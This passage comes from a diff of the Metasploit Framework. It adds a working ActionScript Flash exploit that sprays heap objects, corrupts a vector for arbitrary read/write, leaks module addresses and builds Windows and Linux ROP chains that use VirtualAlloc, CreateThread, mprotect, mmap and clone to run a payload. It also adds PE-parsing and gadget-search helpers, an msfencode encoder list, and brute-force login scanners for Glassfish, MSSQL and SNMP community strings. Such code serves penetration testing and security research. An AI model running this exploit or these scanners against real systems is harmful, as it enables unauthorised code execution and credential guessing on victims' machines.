uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + static function Magic(...a){} + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + + // mov eax,[esp+0x4] + // xchg eax,esp + // rets + stub[0] = 0x0424448B + stub[1] = 0x0000C394 + + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + spray[i][4] = Magic + spray[i][5] = stub + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + magic = ev.at(pos + 4) - 1 + stub_space_object = ev.at(pos + 5) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + stub_address = ev.read(stub_space_object + 0x18) + magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0) + magic_table = ev.read(magic_object) + magic_arg0 = ev.read(magic + 0x1c) + magic_arg1 = ev.read(magic + 0x20) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + do_rop_windows() + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10 + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake stack on memory + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + for (var i:uint; i < 0x100; i++) { + eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4)) + } + + // VirtualProtect the stub with a *reliable* stackpivot + eba.write(stack_address + 8 + 0x80 + 28, virtualprotect) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stub_address) + eba.write(magic + 0x20, 0x10) + var args:Array = new Array(0x41) + Magic.call.apply(null, args); + + // Call to our stackpivot and init the rop chain + eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stack_address + 0x18000) + Magic.call.apply(null, null); + eba.write(magic_object, magic_table); + eba.write(magic + 0x1c, magic_arg0) + eba.write(magic + 0x20, magic_arg1) + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/flash_exploiter/Logger.as b/external/source/flash_exploiter/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/flash_exploiter/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/flash_exploiter/PE.as b/external/source/flash_exploiter/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/flash_exploiter/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/zsh/_msfencode b/external/zsh/_msfencode deleted file mode 100644 index b0dca78c05..0000000000 --- a/external/zsh/_msfencode +++ /dev/null @@ -1,82 +0,0 @@ -#compdef msfencode -# ------------------------------------------------------------------------------ -# License -# ------- -# This file is part of the Metasploit Framework and is released under the MSF -# License, please see the COPYING file for more details. -# -# ------------------------------------------------------------------------------ -# Description -# ----------- -# -# Completion script for the Metasploit Framework's msfencode command -# (http://www.metasploit.com/). -# -# ------------------------------------------------------------------------------ -# Authors -# ------- -# -# * Spencer McIntyre -# -# ------------------------------------------------------------------------------ - -_msfencode_encoders_list=( - 'cmd/generic_sh' - 'cmd/ifs' - 'cmd/powershell_base64' - 'cmd/printf_php_mq' - 'generic/eicar' - 'generic/none' - 'mipsbe/byte_xori' - 'mipsbe/longxor' - 'mipsle/byte_xori' - 'mipsle/longxor' - 'php/base64' - 'ppc/longxor' - 'ppc/longxor_tag' - 'sparc/longxor_tag' - 'x64/xor' - 'x86/add_sub' - 'x86/alpha_mixed' - 'x86/alpha_upper' - 'x86/avoid_underscore_tolower' - 'x86/avoid_utf8_tolower' - 'x86/bloxor' - 'x86/call4_dword_xor' - 'x86/context_cpuid' - 'x86/context_stat' - 'x86/context_time' - 'x86/countdown' - 'x86/fnstenv_mov' - 'x86/jmp_call_additive' - 'x86/nonalpha' - 'x86/nonupper' - 'x86/opt_sub' - 'x86/shikata_ga_nai' - 'x86/single_static_bit' - 'x86/unicode_mixed' - 'x86/unicode_upper' -) - -_msfencode_encoder() { - _describe -t encoders 'available encoders' _msfencode_encoders_list || compadd "$@" -} - -_arguments \ - "-a[The architecture to encode as]:architecture:(cmd generic mipsbe mipsle php ppc sparc x64 x86)" \ - "-b[The list of characters to avoid, example: '\x00\xff']:bad characters" \ - "-c[The number of times to encode the data]:times" \ - "-d[Specify the directory in which to look for EXE templates]:template file:_files -/" \ - "-e[The encoder to use]:encoder:_msfencode_encoder" \ - "-h[Help banner]" \ - "-i[Encode the contents of the supplied file path]:input file:_files" \ - "-k[Keep template working; run payload in new thread (use with -x)]" \ - "-l[List available encoders]" \ - "-m[Specifies an additional module search path]:module path:_files -/" \ - "-n[Dump encoder information]" \ - "-o[The output file]:output file" \ - "-p[The platform to encode for]:target platform:(android bsd bsdi java linux netware nodejs osx php python ruby solaris unix win)" \ - "-s[The maximum size of the encoded data]:maximum size" \ - "-t[The output format]:output format:(bash c csharp dw dword java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript asp aspx aspx-exe dll elf exe exe-only exe-service exe-small loop-vbs macho msi msi-nouac osx-app psh psh-net psh-reflection vba vba-exe vbs war)" \ - "-v[Increase verbosity]" \ - "-x[Specify an alternate executable template]:template file:_files" diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature index f8c30e7e59..e23730be1c 100644 --- a/features/modules/exploit/smb/ms08_067_netapi.feature +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -148,12 +148,12 @@ Feature: MS08-067 netapi Name : SSLVerifyMode Current Setting: PEER - Description : SSL verification method (accepted: CLIENT_ONCE, + Description : SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER) Name : SSLVersion Current Setting: SSL3 - Description : Specify the version of SSL that should be used (accepted: SSL2, + Description : Specify the version of SSL that should be used (Accepted: SSL2, SSL3, TLS1) Name : VERBOSE diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb index 82a4c892e9..797d8dcdc0 100644 --- a/lib/metasploit/framework/command/console.rb +++ b/lib/metasploit/framework/command/console.rb @@ -19,11 +19,21 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command:: return if Rex::Compat.is_cygwin return if $msf_spinner_thread $msf_spinner_thread = Thread.new do - $stderr.print "[*] Starting the Metasploit Framework console..." + base_line = "[*] Starting the Metasploit Framework console..." + cycle = 0 loop do %q{/-\|}.each_char do |c| - $stderr.print c - $stderr.print "\b" + status = "#{base_line}#{c}\r" + cycle += 1 + off = cycle % base_line.length + case status[off, 1] + when /[a-z]/ + status[off, 1] = status[off, 1].upcase + when /[A-Z]/ + status[off, 1] = status[off, 1].downcase + end + $stderr.print status + ::IO.select(nil, nil, nil, 0.10) end end end diff --git a/lib/metasploit/framework/core/version.rb b/lib/metasploit/framework/core/version.rb index c02069540b..61e6beeffe 100644 --- a/lib/metasploit/framework/core/version.rb +++ b/lib/metasploit/framework/core/version.rb @@ -16,4 +16,4 @@ module Metasploit GEM_VERSION = Gem::Version.new(Metasploit::Framework::GEM_VERSION) end end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb index 889002eb36..352065916b 100644 --- a/lib/metasploit/framework/login_scanner/base.rb +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -220,8 +220,8 @@ module Metasploit if result.success? consecutive_error_count = 0 - break if stop_on_success successful_users << credential.public + break if stop_on_success else if result.status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT consecutive_error_count += 1 diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index 064a583d9e..3b48584f35 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -14,7 +14,7 @@ module Metasploit # @!attribute [r] version # @return [String] Glassfish version - attr_reader :version + attr_accessor :version # @!attribute jsession # @return [String] Cookie session @@ -137,6 +137,23 @@ module Metasploit end + # Tries to login to Glassfish version 9 + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_glassfish_9(credential) + res = try_login(credential) + + if res && res.code.to_i == 302 && res.headers['Location'].to_s !~ /loginError\.jsf$/ + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + # Tries to login to Glassfish version 3 or 4 (as of now it's the latest) # # @param (see #try_glassfish_2) @@ -176,12 +193,15 @@ module Metasploit begin case self.version - when /^[29]\.x$/ + when /^2\.x$/ status = try_glassfish_2(credential) result_opts.merge!(status) when /^[34]\./ status = try_glassfish_3(credential) result_opts.merge!(status) + when /^9\.x$/ + status = try_glassfish_9(credential) + result_opts.merge!(status) end rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) @@ -190,8 +210,8 @@ module Metasploit Result.new(result_opts) end - # - # Extract the target's glassfish version from the HTTP Server header + + # Extract the target's glassfish version from the HTTP Server Sun Java System Application Server 9.1header # (ex: Sun Java System Application Server 9.x) # # @param banner [String] `Server` header from a Glassfish service response diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index c621fcf345..77928c41bb 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -73,6 +73,14 @@ module Metasploit # @return [Boolean] Whether to use random casing for the HTTP method attr_accessor :evade_method_random_case + # @!attribute evade_version_random_valid + # @return [Boolean] Whether to use a random, but valid, HTTP version for request + attr_accessor :evade_version_random_valid + + # @!attribute evade_version_random_invalid + # @return [Boolean] Whether to use a random invalid, HTTP version for request + attr_accessor :evade_version_random_invalid + # @!attribute evade_uri_dir_self_reference # @return [Boolean] Whether to insert self-referential directories into the uri attr_accessor :evade_uri_dir_self_reference @@ -294,6 +302,8 @@ module Metasploit 'method_random_valid' => evade_method_random_valid, 'method_random_invalid' => evade_method_random_invalid, 'method_random_case' => evade_method_random_case, + 'version_random_valid' => evade_version_random_valid, + 'version_random_invalid' => evade_version_random_invalid, 'uri_dir_self_reference' => evade_uri_dir_self_reference, 'uri_dir_fake_relative' => evade_uri_dir_fake_relative, 'uri_use_backslashes' => evade_uri_use_backslashes, diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb index d7b5aa499e..992459054c 100644 --- a/lib/metasploit/framework/login_scanner/mssql.rb +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -21,7 +21,7 @@ module Metasploit # Lifted from lib/msf/core/exploit/mssql.rb LIKELY_PORTS = [ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ] # Lifted from lib/msf/core/exploit/mssql.rb - LIKELY_SERVICE_NAMES = [ 'ms-sql-s', 'ms-sql2000', 'sybase' ] + LIKELY_SERVICE_NAMES = [ 'ms-sql-s', 'ms-sql2000', 'sybase', 'mssql' ] PRIVATE_TYPES = [ :password, :ntlm_hash ] REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb index 383caf52ca..9d17b75e0b 100644 --- a/lib/metasploit/framework/login_scanner/snmp.rb +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -1,3 +1,5 @@ +# -*- coding: binary -*- + require 'snmp' require 'metasploit/framework/login_scanner/base' @@ -13,27 +15,24 @@ module Metasploit DEFAULT_TIMEOUT = 2 DEFAULT_PORT = 161 - DEFAULT_RETRIES = 0 - DEFAULT_VERSION = 'all' + DEFAULT_VERSION = '1' + DEFAULT_QUEUE_SIZE = 100 LIKELY_PORTS = [ 161, 162 ] LIKELY_SERVICE_NAMES = [ 'snmp' ] PRIVATE_TYPES = [ :password ] REALM_KEY = nil - # The number of retries per community string - # @return [Fixnum] - attr_accessor :retries + attr_accessor :queued_credentials #:nodoc: + attr_accessor :queued_results #:nodoc: + attr_accessor :sock #:nodoc: # The SNMP version to scan # @return [String] attr_accessor :version - validates :retries, - presence: true, - numericality: { - only_integer: true, - greater_than_or_equal_to: 0 - } + # The number of logins to try in each batch + # @return [Fixnum] + attr_accessor :queue_size validates :version, presence: true, @@ -41,6 +40,13 @@ module Metasploit in: ['1', '2c', 'all'] } + validates :queue_size, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + # This method returns an array of versions to scan # @return [Array] An array of versions def versions @@ -54,94 +60,285 @@ module Metasploit end end - # This method attempts a single login with a single credential against the target - # @param credential [Credential] The credential object to attmpt to login with - # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object - def attempt_login(credential) - result_options = { - credential: credential, + # Attempt to login with every {Credential credential} in # {#cred_details}. + # + # @yieldparam result [Result] The {Result} object for each attempt + # @yieldreturn [void] + # @return [void] + def scan! + valid! + + # Keep track of connection errors. + # If we encounter too many, we will stop. + consecutive_error_count = 0 + total_error_count = 0 + + successful_users = Set.new + first_attempt = true + + # Create a socket for the initial login tests (read-only) + configure_socket + + # Create a map of community name to credential object + credential_map = {} + + begin + each_credential do |credential| + # Track the credentials by community string + credential_map[credential.public] = credential + + # Skip users for whom we've have already found a password + if successful_users.include?(credential.public) + # For Pro bruteforce Reuse and Guess we need to note that we + # skipped an attempt. + if credential.parent.respond_to?(:skipped) + credential.parent.skipped = true + credential.parent.save! + end + next + end + # Queue and trigger authentication if queue size is reached + versions.each do |version| + process_logins(community: credential.public, type: 'read', version: version) + end + + # Exit early if we already have a positive result + if stop_on_success && self.queued_results.length > 0 + break + end + end + rescue Errno::ECONNREFUSED + # Exit early if we get an ICMP port unreachable + return + end + + # Handle any unprocessed responses + process_logins(final: true) + + # Create a non-duplicated set of credentials + found_credentials = self.queued_results.uniq + + # Reset the queued results for our write test + self.queued_results = [] + + # Grab a new socket to avoid stale replies + configure_socket + + # Try to write back the originally received values + found_credentials.each do |result| + process_logins( + version: result[:snmp_version], + community: result[:community], + type: 'write', + data: result[:proof] + ) + end + + # Catch any stragglers + process_logins(final: true) + + # Mark any results from our write scan as read-write in our found credentials + self.queued_results.select{|r| [0,17].include? r[:snmp_error] }.map{|r| r[:community]}.uniq.each do |c| + found_credentials.select{|r| r[:community] == c}.each do |result| + result[:access_level] = 'read-write' + end + end + + # Iterate the results + found_credentials.each do |result_options| + # Scrub the SNMP version & error code from the tracked result + result_options.delete(:snmp_version) + result_options.delete(:snmp_error) + + # Associate the community with the original credential + result_options[:credential] = credential_map[result_options.delete(:community)] + + # In the rare chance that we got a result for a community we didn't scan... + next unless result_options[:credential] + + # Create, freeze, and yield the result + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.freeze + yield result if block_given? + end + + shutdown_socket + nil + end + + # Queue up and possibly send any requests, based on the queue limit and final flag + def process_logins(opts={}) + self.queued_results ||= [] + self.queued_credentials ||= [] + + unless opts[:final] || self.queued_credentials.length > self.queue_size + self.queued_credentials.push [ opts[:type], opts[:community], opts[:version], opts[:data] ] + return + end + + return if self.queued_credentials.length == 0 + + process_responses(0.01) + + while self.queued_credentials.length > 0 + action, community, version, data = self.queued_credentials.pop + case action + when 'read' + send_snmp_read_request(version, community) + when 'write' + send_snmp_write_request(version, community, data) + end + sleep_between_attempts + end + process_responses(1.0) + end + + # Process any responses on the UDP socket and queue the results + def process_responses(timeout=1.0) + queue = [] + while (res = sock.recvfrom(65535, timeout)) + + # Ignore invalid responses + break if not res[1] + + # Ignore empty responses + next if not (res[0] and res[0].length > 0) + + # Trim the IPv6-compat prefix off if needed + shost = res[1].sub(/^::ffff:/, '') + + response = parse_snmp_response(res[0]) + next unless response + + self.queued_results << { + community: response[:community], host: host, port: port, protocol: 'udp', - service_name: 'snmp' - } - - versions.each do |version| - snmp_client = ::SNMP::Manager.new( - :Host => host, - :Port => port, - :Community => credential.public, - :Version => version, - :Timeout => connection_timeout, - :Retries => retries, - :Transport => ::SNMP::RexUDPTransport, - :Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }) - ) - - result_options[:proof] = test_read_access(snmp_client) - if result_options[:proof].nil? - result_options[:status] = Metasploit::Model::Login::Status::INCORRECT - else - result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL - if has_write_access?(snmp_client, result_options[:proof]) - result_options[:access_level] = "read-write" - else - result_options[:access_level] = "read-only" - end - end + service_name: 'snmp', + proof: response[:proof], + status: Metasploit::Model::Login::Status::SUCCESSFUL, + access_level: 'read-only', + snmp_version: response[:version], + snmp_error: response[:error] + } end - - ::Metasploit::Framework::LoginScanner::Result.new(result_options) end - private + # Create and send a SNMP read request for sys.sysDescr.0 + def send_snmp_read_request(version, community) + send_snmp_request( + create_snmp_read_sys_descr_request(version, community) + ) + end + + # Create and send a SNMP write request for sys.sysDescr.0 + def send_snmp_write_request(version, community, data) + send_snmp_request( + create_snmp_write_sys_descr_request(version, community, data) + ) + end + + # Send a SNMP request on the existing socket + def send_snmp_request(pkt) + resend_count = 0 - # This method takes an snmp client and tests whether - # it has write access to the remote system. It sets the - # the sysDescr oid to the same value we already read. - # @param snmp_client [SNMP::Manager] The SNMP client to use - # @param value [String] the value to set sysDescr back to - # @return [Boolean] Returns true or false for if we have write access - def has_write_access?(snmp_client, value) - var_bind = ::SNMP::VarBind.new("1.3.6.1.2.1.1.1.0", ::SNMP::OctetString.new(value)) begin - resp = snmp_client.set(var_bind) - if resp.error_status == :noError - return true + sock.sendto(pkt, self.host, self.port, 0) + rescue ::Errno::ENOBUFS + resend_count += 1 + if resend_count > MAX_RESEND_COUNT + return false end - rescue RuntimeError - return false + ::IO.select(nil, nil, nil, 0.25) + retry + rescue ::Rex::ConnectionError + # This fires for host unreachable, net unreachable, and broadcast sends + # We can safely ignore all of these for UDP sends end - end - # Sets the connection timeout appropriately for SNMP - # if the user did not set it. + # Create a SNMP request that tries to read from sys.sysDescr.0 + def create_snmp_read_sys_descr_request(version_str, community) + version = version_str == '1' ? 1 : 2 + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Integer(version - 1), + OpenSSL::ASN1::OctetString(community), + OpenSSL::ASN1::Set.new([ + OpenSSL::ASN1::Integer(rand(0x80000000)), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"), + OpenSSL::ASN1.Null(nil) + ]) + ]), + ], 0, :IMPLICIT) + ]).to_der + end + + # Create a SNMP request that tries to write to sys.sysDescr.0 + def create_snmp_write_sys_descr_request(version_str, community, data) + version = version_str == '1' ? 1 : 2 + snmp_write = OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Integer(version - 1), + OpenSSL::ASN1::OctetString(community), + OpenSSL::ASN1::Set.new([ + OpenSSL::ASN1::Integer(rand(0x80000000)), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Integer(0), + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1::Sequence([ + OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"), + 